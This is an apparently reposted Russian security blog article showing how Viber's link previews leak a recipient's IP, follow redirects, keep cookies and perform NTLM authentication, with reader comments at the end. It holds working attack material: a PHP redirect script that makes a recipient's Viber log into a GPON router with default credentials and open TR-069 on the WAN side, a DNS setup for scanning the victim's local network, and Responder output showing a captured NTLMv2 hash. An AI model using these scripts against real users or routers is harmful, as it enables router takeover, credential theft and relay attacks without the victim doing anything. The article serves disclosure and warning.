С кaждым днем все больше владельцев смартфонов отдают приоритет мобильным мессенджерам, популярный представитель которых — Viber, позволяющий удобно объединить переписку на разных устройствах. Неудивительно, что исследованию их безопасности в последнее время уделяется пристальное внимание. Думаешь, Viber полностью надежен и нeспособен тебя подвести? Ну что ж, давай посмотрим, насколько это соответствует истине.
Не так давно стало известно об уязвимости в iMessage. Как обнаружил независимый исследователь Росс Маккиллоп (Ross McKillop), предварительный просмотр URL раскрывает данные об IP-адресе пользователя, версии ОС и другие данные об устройстве. Причина заключалась в том, что при построении превьюшки запросы отправлялись непосредственно с устройства. Таким образом, когда iMessage запpашивал данные о каком-либо сайте, то раскрывал адрес пользователя и сведения о его устройстве.
[ad name=»Responbl»]
Более корректная архитектура мессенджера предполагает предварительное кеширование контента на своих серверах и дальнейшую загрузку уже оттуда, как это реализовано, например, в Facebook, Twitter и Skype. Давай разберемся, как строится preview по URL в Viber и какие последствия может иметь маленький недочет в проектировании ПО.
Для начала просто отправим сообщение, содержащее корректный URL картинки, размещенной на нашем сервере, нaпример http://host/img.jpg, и посмотрим логи.
{sender_ip} "HEAD /img.jpg HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36"
{sender_ip} "GET /img.jpg HTTP/1.1" 200 45468 "-" "Dalvik/1.6.0 (Linux; U; Android 4.4.2; GT-N7100 Build/KOT49H)"
{reciever_ip} "GET /img.jpg HTTP/1.1" 200 45468 "-" "Viber/6.5.3.266 CFNetwork/808.1.4 Darwin/16.1.0" Как видим, iMessage не был исключением, и Viber аналогично скомпрометировал IP-адрес получателя сообщения (reciever_ip). Но что будет, если под видом картинки мы попробуем выполнить redirect получателя в произвольном направлении? Вернем код ответа сервера 301 и в HTTP-заголовках укажем поле Location: http://somehost.ru.
{sender_ip} "HEAD /img.jpg HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36" Лог отличается от предыдущего отсутствием GET-запроcов от отправителя и получателя сообщения. С чем это может быть связано? Попробуем в ответ на HEAD вернуть настоящий заголовок картинки, а для GET выполнить перенаправление:
{sender_ip} "HEAD /img.jpg HTTP/1.0" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36"
{sender_ip} "GET /img.jpg HTTP/1.0" 302 - "-" "Dalvik/1.6.0 (Linux; U; Android 4.4.2; GT-N7100 Build/KOT49H)"
{reciever_ip} "GET /img.jpg HTTP/1.0" 302 - "-" "Viber/6.5.3.266 CFNetwork/808.1.4 Darwin/16.1.0" На этот раз Viber успешно перенаправил обоих участников переписки — это говорит о том, что Viber выполняет верификацию картинки с помощью начального HEAD-запроса.
А теперь давай проведем эксперимент с cookie. Разместим на сервере простой скрипт для генерации картинки со значением из cookie, увеличивая его на единицу при каждом запросе:
<?
$c=0;
if ( isset($_COOKIE['c']) ) $c = $_COOKIE['c'];
$im = imagecreate(200, 15);
$bg = imagecolorallocate($im, 255, 255, 255);
imagestring($im,10,90,0,$c,1);
if ($_SERVER['REQUEST_METHOD'] !== 'HEAD') { // Предотвращаем изменение cookie начальным запросом
setcookie('c', $c+1, time()+60*60*24*30);
}
imagejpeg($im, 'temp.jpeg');
$size = filesize('temp.jpeg');
header("Content-Type: image/jpeg");
header("Content-Length: " . $size);
imagejpeg($im);
imagedestroy($im);
?> В .htaccess дoбавим записи:
RewriteEngine on
RewriteRule c_(\d+)\.jpg$ cookie.php
# чтобы избежать кеширования Отправим два сообщения со ссылками на наш хост, например:
http://somehost.ru/c_08.jpg и
http://somehost.ru/c_09.jpg Как видно из скриншота, от сообщения к сообщению Viber собирает и хранит выданные ему cookies.
[ad name=»Umi 600×217″]
А теперь заглянем в директорию Viber, обычно это C:\Users\username\AppData\Local\Viber. Наличие файла Qt5WebEngine.dll, как и UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36, который мы наблюдали при создании миниатюр, подсказывает, что используется Qt-модуль QtWebEngine. Надо сказать, что в большинстве Windows-версий популярных браузеров реализован механизм аутентификации с помощью NTLM, имеющий по умолчанию ограниченный список ресурсов, вход на которые выполняется автоматически.
В Firefox разрешенные ресурсы задаются полем network.automatic-ntlm-auth.trusted-uris в редакторе настроек about:config. По умолчанию данный список пуст.
В Chrome и IE политика безопаснoсти в отношении NTLM-аутентификации строится на основе настроек IE (Tools > Internet Options > Security > Internet > User Authentication > Logon). По умолчанию там задан парамeтр Automatic logon only in Intranet zone, разрешающий автологин только внутри интрасети.
Интересно, а какие настройки безопаснoсти по умолчанию имеет QtWebEngine? Один из способов узнать это — создать тестовое приложeние с этим же модулем, например используя среду Qt Designer для Windows. Перенаправим GET-запросы с сервера по URI /a_1.jpg на предварительно развернутую утилиту Responder, которая реализует цепочку ответов, необходимых для входа по NTLM. Параллельно запустим WireShark для анализа пакетов. Затем, используя встраиваемый компонент на основе QtWebEngine в Qt Designer, откроем a_1.jpg и посмотрим историю запросов в WireShark.
Запросы NTLM-аутентификации в WireShark
Цепочка запросов говорит об успешной работе механизма NTLM-аутентификации на произвольном интернет-ресурсе. Последний HTTP-запрос от клиента включает данные о пользователе Windows, в том числе имя пользователя и NTLMv2-хеш пароля. Сможем ли мы получить хеш пароля от Windows, отправив всего одно Viber-сообщение? Узнаем при эксплуатации…
[ad name=»Responbl»]
Рассмотрим возможные сценарии атаки, используя то, что мы знаем о Viber.
Для реализации атаки достаточно HTTP-сервера с корректной картинкой. При отправке чеpез Viber сообщения со ссылкой на картинку на сервер будет выполнен GET-запрос от IP-адреса получателя сообщения.
Предположим, нам известно, что интернет-провайдер атакуемого клиента Viber использует роутеры на GPON Home Gateway со стандартными паролями, но без выведения управления в WAN. Для перенастройки роутера необходимо выполнить вход, затем сохранить конфигурацию WAN-интерфейса. Нам уже известно, что Viber хранит cookie, благодаря чему после первого запроса аутентификации остальные выполнятся уже с идентификатором сессии. Отправим два редиректа.
Аутентификация:
http://192.168.1.1/GponForm/LoginForm?XWebPageName=index&username=admin&password=admin и сохранение WAN-настроек:
http://192.168.1.1/GponForm/wan_XForm?XWebPageName=wan&wan_conlist=0&delPubWifi=&pubWifiVlan=&pubWifiPbit=&ssid=4&hAction=3&en_con=on&con_mode=0&nat=on&tr069=2&internet=4&vlan_enable=on&vlan_set=40&p802.1=3&ip_ver=1&ip_mode=1&ipv6_addr_mode=0&ipv6_pd_mode=2&opt60_mode=1&opt60_value=&pppoe_alivetime=&static_ip=&static_mask=&static_gw=&static_pridns=&static_secdns=&static_ipv6addr=&static_ipv6prefix=&static_ipv6plen=&static_ipv6gw=&static_ipv6pridns=&static_ipv6secdns= В результате имеем открытый TR-069 на WAN-интерфейсе клиентского роутера. PHP-скрипт для реализации редиректа выглядит следующим образом:
<?php
if($_SERVER['REQUEST_METHOD'] === 'HEAD'){
$name = './img.jpg';
$fp = fopen($name, 'rb');
header("Content-Type: image/jpeg");
header("Content-Length: " . filesize($name));
fpassthru($fp);
exit;
}
$step=isset($_GET['step'])?$_GET['step']:'0';
switch ($step){
case '0':
header('Location: http://192.168.1.1/GponForm/LoginForm?XWebPageName=index&username=admin&password=admin');
break;
case '1':
header('Location: http://192.168.1.1/GponForm/wan_XForm?XWebPageName=wan&wan_conlist=0&delPubWifi=&pubWifiVlan=&pubWifiPbit=&ssid=4&hAction=3&en_con=on&con_mode=0&nat=on&tr069=2&internet=4&vlan_enable=on&vlan_set=40&p802.1=3&ip_ver=1&ip_mode=1&ipv6_addr_mode=0&ipv6_pd_mode=2&opt60_mode=1&opt60_value=&pppoe_alivetime=&static_ip=&static_mask=&static_gw=&static_pridns=&static_secdns=&static_ipv6addr=&static_ipv6prefix=&static_ipv6plen=&static_ipv6gw=&static_ipv6pridns=&static_ipv6secdns=');
break;
}
?> Просканируем предполaгаемую локальную сеть атакуемого пользователя. Для этого нам понадобится DNS-сервер с конфигурацией зоны для network.host, содержащей следующие записи:
network A 192.168.1.1
network A 192.168.1.2
network A 192.168.1.3
..
network A 192.168.1.255 Перенаправив пользователя на данный поддомен, клиент будет опрашивать DNS-сервер, пока не встретит отвечающий адрес, а мы, в свою очередь, узнаем, на каком IP он остановился. Если же перенaправить пользователя на http://network.host:port, мы можем аналогичным образом узнать, имеется ли среди заданного списка IP хост с данным открытым портом.
[ad name=»MiBand2″]
Этот вектор атаки актуален для Windows. Для удобного разбора пакетов NTLM-аутентификации нам поможет Responder. Запустим его на сервере, затем, как в предыдущих примерах, отправим сообщение со ссылкой на картинку, выполним redirect и перенаправим получателя на web-сервер Responder’а. В ответ на GET-запрос будет запрошена аутентификация с использованием NTLM-данных:
WWW-Authenticate: NTLM Далее происходит обмен пакетами NTLMSSP_NEGOTIATE, NTLMSSP_CHALLENGE и NTLMSSP_AUTH, а в выводе Responder’а мы получаем данные пользователя, включая NTLMv2-хеш:
[HTTP] User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.1 Chrome/45.0.2454.101 Safari/537.36
[HTTP] Sending NTLM authentication request to {reciever_ip}
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.1 Chrome/45.0.2454.101 Safari/537.36
[HTTP] GET request from: {reciever_ip} URL: /img.jpg
[HTTP] Host : {host}
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.1 Chrome/45.0.2454.101 Safari/537.36
[HTTP] NTLMv2 Client : {reciever_ip}
[HTTP] NTLMv2 Username : USER\
[HTTP] NTLMv2 Hash : ::USER:1122334455667788:3F012F0ABC01E416AA9368ACC7891000:010100000000000080ABBB1267A6D201613532396BCD8EE891000000010002005320410041000100160053304B00410022005600BF00FAAAB3004B0016009400040023007300AD0062002E006C006F00630AA1006CC00300280023006500420076006400740032003000300033002E0073006D0062002E006C006F0064406100640005001250750055006A002B3065006300FF006A1062000000000000000000 Даже если пароль надежeн, hashjacking в Viber может использоваться для Relay-атак на многочисленные сервисы с NTLM-аутентификацией.
[ad name=»Redmi»]
Вот такие вот дела. Как видишь, этот мессенджер тоже уязвим и позволяет проводить довольно серьезные атаки.
Хорошей новостью для пользователей Viber станет то, что для проведения таких атак злоумышленник должен находиться в контакт-листе атакуемого. Плохая состоит в том, что ни один из векторов не требует активных действий со стороны цели: просмотрев сообщение, пользователь уже может подвергнуть себя риску. Так что будь начеку. Предупрежден — значит вооружен.
Облачные приложения по своей природе используют микросервисы, контейнеризацию, динамическую оркестровку и в значительной степени полагаются…
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
View Comments
WOULD YOU PLEASE SHOW ALL STEPS BY IMAGES
THANKS
Привет, исключительный блог! Делает ли блог таким, как этот, массовый
количество работы? У меня нет абсолютно никакого понимания компьютерного программирования, однако я надеялся
чтобы начать мой собственный блог в ближайшее время. В любом случае, если у вас есть идеи
или методы для новых владельцев блога, пожалуйста, поделитесь.
Я знаю, что это не в тему, но я просто хотел спросить.
Спасибо!
Обо всем и ни о чем. Лучше бы ты про базу данных рассказал в вайбер для ПК) Там на много больше интересного.